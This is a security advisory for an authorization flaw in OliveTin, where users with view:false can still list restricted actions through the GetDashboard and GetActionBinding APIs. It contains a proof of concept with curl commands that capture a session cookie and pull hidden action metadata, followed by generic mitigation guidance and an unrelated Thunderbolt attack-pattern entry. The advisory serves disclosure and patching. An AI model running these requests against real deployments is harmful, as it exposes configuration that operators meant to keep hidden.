Summary
OliveTin doesn't check view permission when returning dashboards
Details
Summary
An authorization flaw in OliveTin allows authenticated users with view: false permission to enumerate action bindings and metadata via dashboard and API endpoints.
Although execution (exec) may be correctly denied, the backend does not enforce IsAllowedView() when constructing dashboard and action binding responses. As a result, restricted users can retrieve action titles, IDs, icons, and argument metadata.
Details
OliveTin defines a view permission in its ACL model (acl.go). However, this permission is not consistently enforced when building dashboard and action metadata responses.
Relevant source locations:
dashboards.go (around line 120, 132) apiActions.go (around line 122) acl.go (around line 125) api.go (around line 430)
Dashboard building logic:
for _, binding := range rr.ex.MapActionBindings {
if binding.Action.Hidden { continue }
action := buildAction(binding, rr) // checks IsAllowedExec only
fieldset.Contents = append(fieldset.Contents, ...)
}
Why vulnerable: IsAllowedView() exists but is not enforced when building dashboard/action metadata. Users with view:false still receive action titles/icons/argument metadata (with canExec:false).
PoC
- Configure OliveTin with a restricted user:
Create config.yaml:
authRequireGuestsToLogin: true
authLocalUsers:
enabled: true
users:
- username: admin
password: "$argon2id$v=19$m=65536,t=4,p=2$puyxA0s555TSFx7hnFLCXA$PyhLGpZtvpMMvc2DgMWkM8OJMKO55euwV5gm//1iwx4" # password: admin123
permissions:
view: true
exec: true
logs: true
- username: low
password: "$argon2id$v=19$m=65536,t=4,p=2$puyxA0s555TSFx7hnFLCXA$PyhLGpZtvpMMvc2DgMWkM8OJMKO55euwV5gm//1iwx4" # password: low123
permissions:
view: false # Should hide all actions
exec: false
logs: false
actions:
- title: "Secret Action"
id: secret_action
shell: echo "sensitive operation"
icon: "🔒"
description: "This action should be completely hidden"
arguments:
- name: target
title: Target
type: string
default: production
-
Start OliveTin with this configuration
-
Login as low-privilege user and capture session ID:
# Login as low user
LOW_SID=$(curl -s -i -X POST http://localhost:1337/api/LocalUserLogin \
-H 'Content-Type: application/json' \
-d '{"username":"low","password":"low123"}' \
| awk -F'[=;]' '/^Set-Cookie: olivetin-sid-local=/{print $2; exit}' | tr -d ' ')
echo "Low user SID: $LOW_SID"
- Verify the web UI respects view:false (optional but illustrative):
Open http://localhost:1337 in a browser logged in as low user - the "Secret Action" should NOT appear in the UI.
- Test 1: GetDashboard endpoint leaks action metadata:
curl -s -X POST http://localhost:1337/api/GetDashboard \
-H 'Content-Type: application/json' \
-H "Cookie: olivetin-sid-local=$LOW_SID" \
-d '{"title":"Actions"}' | jq '.fieldsets[0].contents[] | select(.action.bindingId=="secret_action")'
Expected behavior (if fixed): Empty result or no matching action Observed behavior (vulnerable):
{
"action": {
"bindingId": "secret_action",
"title": "Secret Action",
"icon": "🔒",
"description": "This action should be completely hidden",
"canExec": false,
"arguments": [
{
"name": "target",
"title": "Target",
"type": "string",
"default": "production"
}
]
}
}
- Test 2: GetActionBinding endpoint directly exposes action details:
curl -s -X POST http://localhost:1337/api/GetActionBinding \
-H 'Content-Type: application/json' \
-H "Cookie: olivetin-sid-local=$LOW_SID" \
-d '{"bindingId":"secret_action"}' | jq '.'
Expected behavior (if fixed): HTTP 403 Permission Denied Observed behavior (vulnerable):
{
"action": {
"bindingId": "secret_action",
"title": "Secret Action",
"icon": "🔒",
"description": "This action should be completely hidden",
"canExec": false,
"arguments": [...]

Mitigation
Architecture and Design
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Architecture and Design
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration
Installation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.
